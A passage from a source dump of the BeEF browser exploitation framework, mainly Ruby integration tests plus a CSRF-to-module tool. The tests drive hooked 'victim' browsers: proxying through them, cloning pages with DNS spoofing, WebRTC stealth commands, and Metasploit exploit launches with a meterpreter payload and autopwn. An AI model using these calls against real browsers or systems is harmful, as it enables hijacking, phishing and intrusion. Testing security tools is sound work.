ports\" unless result.to_s =~ /Port 3000 is OPEN/\n  end\n\n  # Tests GET /api/network/hosts handler\n  def test_get_all_hosts\n    rest_response = RestClient.get(\"#{RESTAPI_NETWORK}/hosts?token=#{@@token}\")\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    assert(result['count'])\n    assert(result['hosts'])\n    assert_not_equal(0, result['count'])\n  end\n\n  # Tests GET /api/network/hosts/:sessionid handler with valid input\n  def test_get_hosts_valid_session\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.get(\"#{RESTAPI_NETWORK}/hosts/#{@@hb_session}\", :params => {:token => @@token})\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    assert(result['count'])\n    assert(result['hosts'])\n    assert_not_equal(0, result['count'])\n\n    result['hosts'].each do |host|\n      assert_equal(@@hb_session, host['hooked_browser_id'])\n    end\n  end\n\n  # Tests GET /api/network/hosts/:sessionid handler with invalid input\n  def test_get_hosts_invalid_session\n    session_id = 'z'\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.get(\"#{RESTAPI_NETWORK}/hosts/#{session_id}\", :params => {:token => @@token})\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    assert(result['count'])\n    assert_equal(0, result['count'])\n  end\n\n  # Tests GET /api/network/host/:id handler with valid input\n  def test_get_host_valid_id\n    id = 1\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.get(\"#{RESTAPI_NETWORK}/host/#{id}\", :params => {:token => @@token})\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    assert_equal(1, result.length)\n    assert_equal('localhost', result.first['hostname'])\n  end\n\n  # Tests GET /api/network/host/:id handler with invalid input\n  def test_get_hosts_invalid_id\n    id = 'z'\n    assert_raise RestClient::ResourceNotFound do\n      RestClient.get(\"#{RESTAPI_NETWORK}/host/#{id}\", :params => {:token => @@token})\n    end\n  end\n\n  # Tests GET /api/network/services handler\n  def test_get_all_services\n    rest_response = RestClient.get(\"#{RESTAPI_NETWORK}/services?token=#{@@token}\",\n                                    @@headers)\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    assert(result['count'])\n    assert(result['services'])\n    assert_not_equal(0, result['count'])\n  end\n\n  # Tests GET /api/network/services/:sessionid handler with valid input\n  def test_get_services_valid_session\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.get(\"#{RESTAPI_NETWORK}/services/#{@@hb_session}\", :params => {:token => @@token})\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    assert(result['count'])\n    assert(result['services'])\n    assert_not_equal(0, result['count'])\n\n    result['services'].each do |service|\n      assert_equal(@@hb_session, service['hooked_browser_id'])\n    end\n  end\n\n  # Tests GET /api/network/services/:sessionid handler with invalid input\n  def test_get_services_invalid_session\n    session_id = 'z'\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.get(\"#{RESTAPI_NETWORK}/services/#{session_id}\", :params => {:token => @@token})\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    assert(result['count'])\n    assert_equal(0, result['count'])\n  end\n\n  # Tests GET /api/network/service/:id handler with valid input\n  def test_get_service_valid_id\n    id = 1\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.get(\"#{RESTAPI_NETWORK}/service/#{id}\", :params => {:token => @@token})\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    assert_equal(1, result.length)\n    assert_not_nil(result.first['type'])\n  end\n\n  # Tests GET /api/network/service/:id handler with invalid input\n  def test_get_services_invalid_id\n    id = 'z'\n    assert_raise RestClient::ResourceNotFound do\n      RestClient.get(\"#{RESTAPI_NETWORK}/service/#{id}\", :params => {:token => @@token})\n    end\n  end\n\n  private\n\n  # Standard assertions for verifying response from RESTful API\n  def check_rest_response(response)\n    assert_not_nil(response.body)\n    assert_equal(200, response.code)\n  end\n\nend\n"
  },
  {
    "path": "test/integration/tc_proxy.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'test/unit'\nrequire 'rest-client'\nrequire 'json'\nrequire '../common/test_constants'\nrequire '../common/beef_test'\n\nclass TC_Proxy < Test::Unit::TestCase\n\n  class << self\n\n    def startup\n      $root_dir = '../../'\n      $:.unshift($root_dir)\n\n      # load proxy config\n      require 'core/loader'\n      BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml'))\n      config = BeEF::Core::Configuration.instance\n      config.load_extensions_config\n      @@proxy_config = config.get('beef.extension.proxy')\n      @@proxy = \"#{@@proxy_config['address']}:#{@@proxy_config['port']}\"\n\n      # set up active record\n      ActiveRecord::Base.establish_connection(\n        database: \"beef.db\"\n        adapter:\t\"sqlite3\"\n      )\n\n      # set headers for rest requests\n      @@headers = { :content_type => :json, :accept => :json }\n\n      # login and get api token\n      json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json\n      response = RestClient.post(\"#{RESTAPI_ADMIN}/login\", json, @@headers)\n      result = JSON.parse(response.body)\n      @@token = result['token']\n\n      # create hooked browser and get session id\n      @@victim = BeefTest.new_victim\n      sleep 5.0\n      response = RestClient.get \"#{RESTAPI_HOOKS}\", {:params => {:token => @@token}}\n      result = JSON.parse(response.body)\n      @@hb_session = result[\"hooked-browsers\"][\"online\"][\"0\"][\"session\"]\n\n      # set proxy to use hooked browser\n      result = set_target_zombie(@@hb_session)\n    end\n\n    def shutdown\n      @@victim.driver.browser.close\n      $root_dir = nil\n    end\n\n    # set zombie to be used as proxy\n    def set_target_zombie(session_id)\n      json = { :hb_id => session_id.to_s }.to_json\n      response = RestClient.post(\"#{RESTAPI_PROXY}/setTargetZombie?token=#{@@token}\", json, @@headers)\n      result = JSON.parse(response.body)\n      return result['success']\n    end\n\n  end\n\n  def test_get_url_same_origin\n    assert_nothing_raised do\n      url = \"http://#{VICTIM_DOMAIN}:3000/demos/secret_page.html\"\n      cmd = ['curl', '--connect-timeout', '30', '--max-time', '30', '-x', \"#{@@proxy}\", '-X', 'GET', '-isk', \"#{url}\"]\n      res = IO.popen(cmd, 'r+').read\n      assert_not_empty(res)\n      assert_not_nil(res)\n      raise \"Proxy request failed - Unexpected response\" unless res =~ /Secret Page/\n    end\n  end\n\n  def test_post_url_same_origin\n    assert_nothing_raised do\n      url = \"http://#{VICTIM_DOMAIN}:3000/demos/secret_page.html\"\n      cmd = ['curl', '--connect-timeout', '30', '--max-time', '30', '-x', \"#{@@proxy}\", '-X', 'POST', '-isk', \"#{url}\", '-d', 'beef=beef']\n      res = IO.popen(cmd, 'r+').read\n      assert_not_empty(res)\n      assert_not_nil(res)\n      raise \"Proxy request failed - Unexpected response\" unless res =~ /Secret Page/\n    end\n  end\n\n  def test_get_url_cross_origin\n    assert_nothing_raised do\n      url = \"http://#{ATTACK_DOMAIN}:3000/demos/plain.html\"\n      cmd = ['curl', '--connect-timeout', '30', '--max-time', '30', '-x', \"#{@@proxy}\", '-X', 'GET', '-isk', \"#{url}\"]\n      res = IO.popen(cmd, 'r+').read\n      assert_not_empty(res)\n      assert_not_nil(res)\n      raise \"Proxy request failed - Unexpected response #{@@proxy}\" unless res =~ /ERROR: Cross Domain Request/\n    end\n  end\nend\n"
  },
  {
    "path": "test/integration/tc_social_engineering_rest.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'test/unit'\nrequire 'rest-client'\nrequire 'json'\nrequire '../common/test_constants'\n\n# @todo RESTful API for the social engineering extension lacks some serious test coverage.\nclass TC_SocialEngineeringRest < Test::Unit::TestCase\n\n  class << self\n\n    # Login to API before performing any tests\n    def startup\n      json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json\n      @@headers = {:content_type => :json, :accept => :json}\n\n      response = RestClient.post(\"#{RESTAPI_ADMIN}/login\",\n                                 json,\n                                 @@headers)\n\n      result = JSON.parse(response.body)\n      @@token = result['token']\n\n      $root_dir = '../../'\n      $:.unshift($root_dir)\n\n      require 'core/loader'\n\n      BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml'))\n      BeEF::Core::Configuration.instance.load_extensions_config\n\n      @@config = BeEF::Core::Configuration.instance\n    end\n\n    def shutdown\n      $root_dir = nil\n    end\n\n  end\n\n  # Tests DNS spoofing of cloned webpages\n  def test_1_dns_spoof\n    url = 'https://beefproject.com'\n    mount = '/beefproject'\n    dns_spoof = true\n\n    json = {:url => url, :mount => mount, :dns_spoof => dns_spoof}.to_json\n\n    domain = url.gsub(%r{^https?://}, '')\n\n    response = RestClient.post(\"#{RESTAPI_SENG}/clone_page?token=#{@@token}\",\n                               json,\n                               @@headers)\n\n    check_response(response)\n\n    # Send DNS request to server to verify that a new rule was added\n    dns_address = @@config.get('beef.extension.dns.address')\n    dns_port = @@config.get('beef.extension.dns.port')\n    dig_output = IO.popen([\"dig\", \"@#{dns_address}\", \"-p\", \"#{dns_port}\", \"-t\",\n                          \"A\", \"+short\", \"#{domain}\"], 'r+').read.strip!\n\n    foundmatch = false\n\n    # Iterate local IPs (excluding loopbacks) to find a match to the 'dig'\n    # output\n    assert_block do\n        Socket.ip_address_list.each { |i|\n            if !(i.ipv4_loopback? || i.ipv6_loopback?)\n                return true if i.ip_address.to_s.eql?(dig_output.to_s)\n            end\n        }\n    end\n\n    # assert(foundmatch)\n  end\n\n  private\n\n  # Assertions for verifying a response from the RESTful API\n  def check_response(response)\n    assert_not_nil(response.body)\n    assert_equal(200, response.code)\n\n    result = JSON.parse(response.body)\n\n    assert(result['success'])\n    assert(result['mount'])\n  end\n\nend\n"
  },
  {
    "path": "test/integration/tc_webrtc_rest.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'test/unit'\nrequire 'rest-client'\nrequire 'json'\nrequire '../common/test_constants'\nrequire '../common/beef_test'\n\nclass TC_WebRTCRest < Test::Unit::TestCase\n\n  class << self\n\n    # Login to API before performing any tests - and fetch config too\n    def startup\n      json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json\n      @@headers = {:content_type => :json, :accept => :json}\n\n      response = RestClient.post(\"#{RESTAPI_ADMIN}/login\",\n                                 json,\n                                 @@headers)\n\n      result = JSON.parse(response.body)\n      @@token = result['token']\n\n      $root_dir = '../../'\n      $:.unshift($root_dir)\n\n      require 'core/loader'\n\n      BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml'))\n      BeEF::Core::Configuration.instance.load_extensions_config\n\n      @@config = BeEF::Core::Configuration.instance\n\n      @@activated = @@config.get('beef.extension.webrtc.enable') || false\n\n      @@victim1 = BeefTest.new_victim\n      @@victim2 = BeefTest.new_victim\n      \n      # puts \"WebRTC Tests beginning\"\n      sleep 8.0\n\n      # Fetch last online browsers' ids\n      rest_response = RestClient.get \"#{RESTAPI_HOOKS}\", {:params => {\n        :token => @@token}}\n      result = JSON.parse(rest_response.body)\n      browsers = result[\"hooked-browsers\"][\"online\"]\n      browsers.each_with_index do |elem, index|\n        if index == browsers.length - 1\n            @@victim2id = browsers[\"#{index}\"][\"id\"].to_s\n        end\n        if index == browsers.length - 2\n            @@victim1id = browsers[\"#{index}\"][\"id\"].to_s\n        end\n      end\n\n    end\n\n    def shutdown\n      $root_dir = nil\n      @@victim1.driver.browser.close\n      @@victim2.driver.browser.close\n    end\n\n  end\n\n  def test_1_webrtc_check_for_two_hooked_browsers\n    return unless @@activated\n\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.get \"#{RESTAPI_HOOKS}\", {:params => {\n        :token => @@token}}\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    browsers = result[\"hooked-browsers\"][\"online\"]\n    assert_not_nil browsers\n    assert_operator browsers.length, :>=, 2\n  end\n\n  def test_2_webrtc_establishing_p2p\n    return unless @@activated\n\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.post(\"#{RESTAPI_WEBRTC}/go?token=#{@@token}\",\n        {:from => @@victim1id, :to => @@victim2id, :verbose => \"true\"}.to_json,\n        @@headers)\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    assert_equal true, result[\"success\"]\n\n    sleep 30.0\n\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.get \"#{RESTAPI_LOGS}\", {:params => {\n        :token => @@token}}\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n\n    loghitcount = 0\n    result[\"logs\"].reverse.each {|l|\n      # Using free-space matching mode /x below to wrap regex.\n      # therefore need to escape spaces I want to check, hence the \\\n      regex = Regexp.new(/Browser:(#{@@victim1id}|#{@@victim2id})\\ received\\ \n                         message\\ from\\ Browser:(#{@@victim1id}|#{@@victim2id})\n                         :\\ ICE\\ Status:\\ connected/x)\n      loghitcount += 1 if (not regex.match(l[\"event\"]).nil?) and\n                          (l[\"type\"].to_s.eql?(\"WebRTC\"))\n    }\n    assert_equal 2, loghitcount\n  end\n\n  def test_3_webrtc_send_msg # assumes test 2 has run\n    return unless @@activated\n\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.post(\"#{RESTAPI_WEBRTC}/msg?token=#{@@token}\",\n        {:from => @@victim1id, :to => @@victim2id,\n         :message => \"RTC test message\"}.to_json,\n        @@headers)\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    assert_equal true, result[\"success\"]\n\n    sleep 10.0\n\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.get \"#{RESTAPI_LOGS}\", {:params => {\n        :token => @@token}}\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n\n    assert_block do\n      result[\"logs\"].reverse.each {|l|\n        # Using free-space matching mode /x below to wrap regex.\n        # therefore need to escape spaces I want to check, hence the \\\n        regex = Regexp.new(/Browser:(#{@@victim1id}|#{@@victim2id})\\ received\\ \n                           message\\ from\\ Browser:\n                           (#{@@victim1id}|#{@@victim2id})\n                           :\\ RTC\\ test\\ message/x)\n        return true if (not regex.match(l[\"event\"]).nil?) and\n                            (l[\"type\"].to_s.eql?(\"WebRTC\"))\n      }\n    end\n  end\n\n  def test_4_webrtc_stealthmode # assumes test 2 has run\n    return unless @@activated\n\n    # Test our two browsers are still online\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.get \"#{RESTAPI_HOOKS}\", {:params => {\n        :token => @@token}}\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    online = result[\"hooked-browsers\"][\"online\"]\n    assert_block do\n      online.each {|hb|\n        return true if hb[1][\"id\"].eql?(@@victim1id)\n      }\n    end\n    assert_block do\n      online.each {|hb|\n        return true if hb[1][\"id\"].eql?(@@victim2id)\n      }\n    end\n      \n\n    # Command one of the browsers to go stealth\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.post(\"#{RESTAPI_WEBRTC}/msg?token=#{@@token}\",\n        {:from => @@victim1id, :to => @@victim2id,\n         :message => \"!gostealth\"}.to_json,\n        @@headers)\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    assert_equal true, result[\"success\"]\n\n    sleep 40.0 #Wait until that browser is offline.\n\n    # Test that the browser is now offline\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.get \"#{RESTAPI_HOOKS}\", {:params => {\n        :token => @@token}}\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    offline = result[\"hooked-browsers\"][\"offline\"]\n    assert_block do\n      offline.each {|hb|\n        return true if hb[1][\"id\"].eql?(@@victim2id)\n      }\n    end\n\n    # Test that we can bring it back online (which implies comms are still ok)\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.post(\"#{RESTAPI_WEBRTC}/msg?token=#{@@token}\",\n        {:from => @@victim1id, :to => @@victim2id,\n         :message => \"!endstealth\"}.to_json,\n        @@headers)\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    assert_equal true, result[\"success\"]\n\n    sleep 10.0 # Wait until browser comes back\n\n    # Test that the browser is now online\n    rest_response = nil\n    assert_nothing_raised do\n      rest_response = RestClient.get \"#{RESTAPI_HOOKS}\", {:params => {\n        :token => @@token}}\n    end\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    online = result[\"hooked-browsers\"][\"online\"]\n    assert_block do\n      online.each {|hb|\n        return true if hb[1][\"id\"].eql?(@@victim2id)\n      }\n    end\n\n  end\n\n  def test_5_webrtc_execcmd # assumes test 2 has run\n    return unless @@activated\n\n    #\n\n  end\n\n  private\n\n  # Standard assertions for verifying response from RESTful API\n  def check_rest_response(response)\n    assert_not_nil(response.body)\n    assert_equal(200, response.code)\n  end\n\nend\n"
  },
  {
    "path": "test/integration/ts_integration.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n# Common lib for BeEF tests\nrequire '../common/ts_common'\n\nrequire 'capybara'\nrequire 'capybara/rspec'\nCapybara.run_server = false # we need to run our own BeEF server\n\nrequire 'selenium-webdriver'\n\nrequire './check_environment' # Basic log in and log out tests\nrequire './tc_debug_modules' # RESTful API tests (as well as debug modules)\nrequire './tc_login' # Basic log in and log out tests\nrequire './tc_proxy' # Basic tests for Proxy extension\nrequire './tc_network_rest' # Basic tests for Network extension RESTful API interface\nrequire '../api/1333_auth_rate' # API rate testing issue #1333'\n\n# Experimental extensions\n#require './tc_dns_rest' # Basic tests for DNS RESTful API interface\n#require './tc_webrtc_rest' # Basic tests for WebRTC extension\n#require './tc_social_engineering_rest' # Basic tests for social engineering RESTful API interface\n\nclass TS_BeefIntegrationTests\n  def self.suite\n\n    suite = Test::Unit::TestSuite.new(name=\"BeEF Integration Test Suite\")\n    suite << TC_CheckEnvironment.suite\n    suite << TC_Login.suite\n    suite << TC_DebugModules.suite\n    suite << TC_Proxy.suite\n    suite << TC_NetworkRest.suite\n\n    # issue raised\n    suite << TC_1333_auth_rate.suite\n\n    # Tests for experimental extensions\n    #suite << TC_SocialEngineeringRest.suite\n    #suite << TC_Jools.suite\n    #suite << TC_DnsRest.suite\n    #suite << TC_WebRTCRest.suite\n\n    suite\n  end\nend\n\nTest::Unit::UI::Console::TestRunner.run(TS_BeefIntegrationTests)\n"
  },
  {
    "path": "test/thirdparty/msf/unit/BeEF.rc",
    "content": "\nload msgrpc ServerHost=127.0.0.1 Pass=abc123\n"
  },
  {
    "path": "test/thirdparty/msf/unit/tc_metasploit.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'test/unit'\nrequire 'pp'\n\nclass TC_Metasploit < Test::Unit::TestCase\n\n  def setup\n    $root_dir=\"../../../../\"\n    $:.unshift File.join( %w{ ../../../../ } )\n    require 'core/loader'\n  end\n\n  def teardown\n    $root_dir = nil\n  end\n\n  #\n  # Test the api is functional\n  #\n  def test_requires\n    assert_nothing_raised do\n      require 'msfrpc-client'\n    end\n  end\n\n  #\n  # Load the config for testing\n  #\n  def load_config\n    BeEF::Core::Configuration.new(\"#{$root_dir}/config.yaml\")\n    BeEF::Core::Configuration.instance.load_extensions_config\n    @config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit')\n  end\n\n  # Create an api instance\n  def new_api\n    load_config\n    require 'extensions/metasploit/extension.rb'\n    @api = BeEF::Extension::Metasploit::RpcClient.instance\n    @api.unit_test_init()\n  end\n\n  #\n  # Verify that the config file has required information\n  # \n  def test_config\n    load_config\n    assert(@config.key?('user'))\n    assert(@config.key?('pass'))\n    assert(@config.key?('port'))\n    assert(@config.key?('uri'))\n    assert(@config.key?('callback_host'))\n    assert(@config.key?('autopwn_url'))\n  end\n\n  #\n  # Verify that we can create an API instance\n  #\n  def test_api_create\n    assert_nothing_raised do\n      new_api\n    end\n  end\n\n  #\n  # Verify that the login is working\n  #\n  def test_login\n    new_api\n    assert(@api.login)\n  end\n\n  def test_call\n    new_api\n    @api.login\n    assert(@api.call('core.version'))\n  end\n\n  def test_browser_exploits\n    new_api\n    @api.login\n    exploits = nil\n    assert_nothing_raised do\n      exploits =  @api.browser_exploits()\n    end\n    assert(exploits.length > 5)\n  end\n\n  def test_exploit_info\n    new_api\n    @api.login\n    info = nil\n    assert_nothing_raised do\n      info = @api.get_exploit_info('windows/dcerpc/ms03_026_dcom')\n    end\n    assert( info['name'].nil? != true)\n  end\n\n  def test_get_options\n    new_api\n    @api.login\n    info = nil\n    assert_nothing_raised do\n      info = @api.get_options('windows/dcerpc/ms03_026_dcom')\n    end\n    assert( info['RHOST'].nil? != true)\n  end\n\n  def test_payloads\n    new_api\n    @api.login\n    payloads = nil\n    assert_nothing_raised do\n      payloads = @api.payloads\n    end\n    assert( payloads.length > 5 )\n  end\n\n  def test_launch_exploit\n    new_api\n    @api.login\n    opts = { 'PAYLOAD' => 'windows/meterpreter/bind_tcp', 'URIPATH' => '/test1','SRVPORT' => 8080}\n    ret = nil\n    assert_nothing_raised do\n      ret = @api.launch_exploit('windows/browser/adobe_utilprintf',opts)\n    end\n    assert(ret['job_id'] != nil )\n  end\n\n  def test_launch_autopwn\n    new_api\n    @api.login\n    ret = nil\n    assert_nothing_raised do\n      ret = @api.launch_autopwn\n    end\n    assert(ret['job_id'] != nil )\n  end\nend\n"
  },
  {
    "path": "test/thirdparty/msf/unit/ts_metasploit.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n# Common lib for BeEF tests\nrequire '../../../common/ts_common'\n\nbegin\n  require 'msfrpc-client'\nrescue LoadError\n  puts \"The following instruction failed: require 'msfrpc-client'\"\n  puts \"Please run: sudo gem install msfrpc-client\"\n  exit\nend\n\nrequire './check_environment'\nrequire './tc_metasploit'\n\nclass TS_BeefTests\n  def self.suite\n\n    suite = Test::Unit::TestSuite.new(name=\"BeEF Metasploit Test Suite\")\n    suite << TC_CheckEnvironment.suite\n    suite << TC_Metasploit.suite\n\n    return suite\n  end\nend\n\nTest::Unit::UI::Console::TestRunner.run(TS_BeefTests)\n\n"
  },
  {
    "path": "tools/bump-version.sh",
    "content": "#!/usr/bin/env bash\n\nif [[ -z \"${1}\" || -z \"${2}\" ]]; then\n  echo \"Error: missing arguments\"\n  exit 1\nfi\n\nif [[ ! -f beef || ! -f VERSION ]]; then\n  echo \"Error: must be run from within the BeEF root directory\"\n  exit 1\nfi\n\necho \"Updating version ${1} to ${2}\"\n\ngit checkout -b \"release/${2}\"\nsed -i '' -e \"s/$1/$2/g\" VERSION\nsed -i '' -e \"s/\\\"version\\\": \\\"$1\\\"/\\\"version\\\": \\\"$2\\\"/g\" package.json\nsed -i '' -e \"s/\\\"version\\\": \\\"$1\\\"/\\\"version\\\": \\\"$2\\\"/g\" package-lock.json\nsed -i '' -e \"s/\\\"version\\\": \\\"$1\\\"/\\\"version\\\": \\\"$2\\\"/g\" config.yaml\n\ngit add VERSION package.json package-lock.json config.yaml\ngit commit -m \"Version bump ${2}\"\ngit push --set-upstream origin \"release/${2}\"\ngit push\n"
  },
  {
    "path": "tools/csrf_to_beef/csrf_to_beef",
    "content": "#!/usr/bin/env ruby\n\n$VERBOSE = false\n$VERSION = '0.0.3'\n\n#\n# @note Ruby version check\n#\nif RUBY_VERSION =~ /^1\\.[0-8]/\n  puts \"Ruby version \" + RUBY_VERSION + \" is not supported. Please use Ruby 1.9 or newer.\"\n  exit 1\nend\n\nrequire 'uri'\nrequire 'getoptlong'\nrequire 'fileutils'\nrequire 'htmlentities'\nrequire 'cgi'\nrequire './lib/output'\nrequire './lib/module'\n\n#\n# @note usage\n#\ndef usage\n  puts \"CSRF to BeEF module tool v#{$VERSION}, create a BeEF CSRF module from file or URL.\"\n  puts\n  puts \"Usage: ./csrf_to_beef [options] --name <NAME>  <--url=URL|--file=FILE>\"\n  puts\n  puts \"Options:\"\n  puts \"  -h, --help            Help\"\n  puts \"  -v, --verbose         Verbose output\"\n  puts \"  -n, --name NAME       BeEF module name\"\n  puts \"  -u, --url URL         CSRF URL\"\n  puts \"  -m, --method METHOD   CSRF HTTP method (GET/POST)\"\n  puts \"  -d, --post-data DATA  CSRF HTTP POST data\"\n  puts \"  -f, --file FILE       Burp CSRF PoC file\"\n  puts\n  puts \"Example Usage:\"\n  puts\n  puts \"  CSRF URL:\"\n  puts \"  ./csrf_to_beef --name \\\"example csrf\\\" --url \\\"http://example.com/index.html?param=value\\\"\"\n  puts\n  puts \"  CSRF URL (POST):\"\n  puts \"  ./csrf_to_beef --name \\\"example csrf\\\" --url \\\"http://example.com/index.html\\\" --method POST --post-data \\\"param1=value&param2=value\\\"\"\n  puts\n  puts \"  Burp Suite CSRF PoC file:\"\n  puts \"  ./csrf_to_beef --name \\\"example csrf\\\" --file sample.html\"\n  puts \n  exit 1\nend\n\nusage if ARGV.size < 2\n\nopts = GetoptLong.new(\n    ['-h', '--help', GetoptLong::NO_ARGUMENT],\n    ['-v', '--verbose', GetoptLong::NO_ARGUMENT],\n    ['-n', '--name', GetoptLong::REQUIRED_ARGUMENT],\n    ['-u', '--url', GetoptLong::REQUIRED_ARGUMENT],\n    ['-m', '--method', GetoptLong::REQUIRED_ARGUMENT],\n    ['-d', '--post-data', GetoptLong::REQUIRED_ARGUMENT],\n    ['-f', '--file', GetoptLong::REQUIRED_ARGUMENT]\n)\n\n#\n# @note handle args\n#\ndef main(opts)\n  mname = nil\n  fname = nil\n  url = nil\n  method = 'GET'\n  postdata = nil\n  opts.each do |opt, arg|\n    case opt\n      when '-f', '--file'\n        fname=arg\n      when '-u', '--url'\n        url=arg\n      when '-m', '--method'\n        method=arg.upcase\n      when '-d', '--post-data'\n        postdata=arg\n      when '-n', '--name'\n        mname=arg\n      when '-h', '--help'\n        usage\n      when '-v', '--verbose'\n        $VERBOSE = true\n    end\n  end\n  if mname.nil?\n    print_error \"You must specify module '--name' (-h for help)\"\n    exit 1\n  end\n  if fname && url\n    print_error \"Conflicting input types '--file' and '--url'. (-h for help)\"\n  elsif fname.nil? && url.nil?\n    print_error \"You must specify '--file' or '--url'. (-h for help)\"\n    exit 1\n  end\n\n  @class_name = mname.gsub(/[^\\w]/, '_').downcase\n\n  csrf_module = get_options_from_burp_file(fname, mname) unless fname.nil?\n  csrf_module = get_options_from_url(url, method, postdata, mname) unless url.nil?\n\n  write_module(csrf_module[:target_url], csrf_module[:method], csrf_module[:enctype], csrf_module[:options])\n\nend\n\n#\n# @note generate BeEF module from URL\n#\ndef get_options_from_url(url, method, postdata, mname)\n\n  # validate HTTP method\n  if method !~ /^(GET|POST)$/i\n    print_error \"Invalid method: #{method} - Method must be 'GET' or 'POST'\"\n    exit 1\n  end\n\n  # parse module options\n  options = []\n  if method =~ /POST/i\n    target_url = url\n    enctype = nil\n    input_name = nil\n    input_value = nil\n    # parse POST params as module options\n    CGI::parse(URI.parse(\"https://beefproject.com/?#{postdata}\").query).each do |k, v|\n      if k == 'submit'\n        print_error \"Invalid POST parameter 'submit' - see: https://github.com/beefproject/beef/issues/1117\"\n        exit 1\n      end\n      input_name = HTMLEntities.new.decode(k)\n      input_value = HTMLEntities.new.decode(v.first)\n      unless input_name.nil?\n        options << [input_name, input_value]\n      end\n    end\n  elsif method =~ /GET/i\n    target_url = URI.parse(url).to_s[/[^\\?]+/] # drop query string\n    input_name = nil\n    input_value = nil\n    # parse query string as module options\n    CGI::parse(URI.parse(url).query).each do |k, v|\n      if k == 'submit'\n        print_error \"Invalid GET parameter 'submit' - see: https://github.com/beefproject/beef/issues/1117\"\n        exit 1\n      end\n      input_name = HTMLEntities.new.decode(k)\n      input_value = HTMLEntities.new.decode(v.first)\n      unless input_name.nil?\n        options << [input_name, input_value]\n      end\n    end\n  end\n  return {:target_url=>target_url, :method=>method, :enctype=>enctype, :options=>options}\nend\n\n#\n# @note generate BeEF module from Burp PoC file\n#\ndef get_options_from_burp_file(fname, mname)\n\n  # read PoC file\n  print_status \"Reading PoC from '#{fname}'\"\n  begin\n    f = File.open(fname)\n    html = f.readlines()\n  rescue => e\n    print_error \"Could not read PoC file - #{e.message}\"\n    exit 1\n  end\n\n  # parse PoC file\n  if html.to_s =~ /var xhr = new XMLHttpRequest/\n    print_error \"Could not parse PoC file - XMLHttpRequest is not yet supported.\"\n    exit 1\n  elsif html.to_s !~ /<form/\n    print_error \"Could not parse PoC file - unrecognized format.\"\n    exit 1\n  end\n\n  method = 'GET'\n  enctype = nil\n  target_url = nil\n  options = []\n  html.each do |line|\n    case line\n      # parse form tag as request options\n      when /<form/\n        Hash[line.scan(/(\\w+)=\"(.*?)\"/)].each do |k, v|\n          case k\n            when 'action'\n              target_url = HTMLEntities.new.decode(v)\n            when 'method'\n              method = HTMLEntities.new.decode(v).upcase\n            when 'enctype'\n              enctype = HTMLEntities.new.decode(v)\n          end\n        end\n      # parse form input tags as module options\n      when /<input/\n        input_name = nil\n        input_value = nil\n        Hash[line.scan(/(\\w+)=\"(.*?)\"/)].each do |k, v|\n          case k\n            when 'type'\n              next\n            when 'name'\n              if v == 'submit'\n                print_error 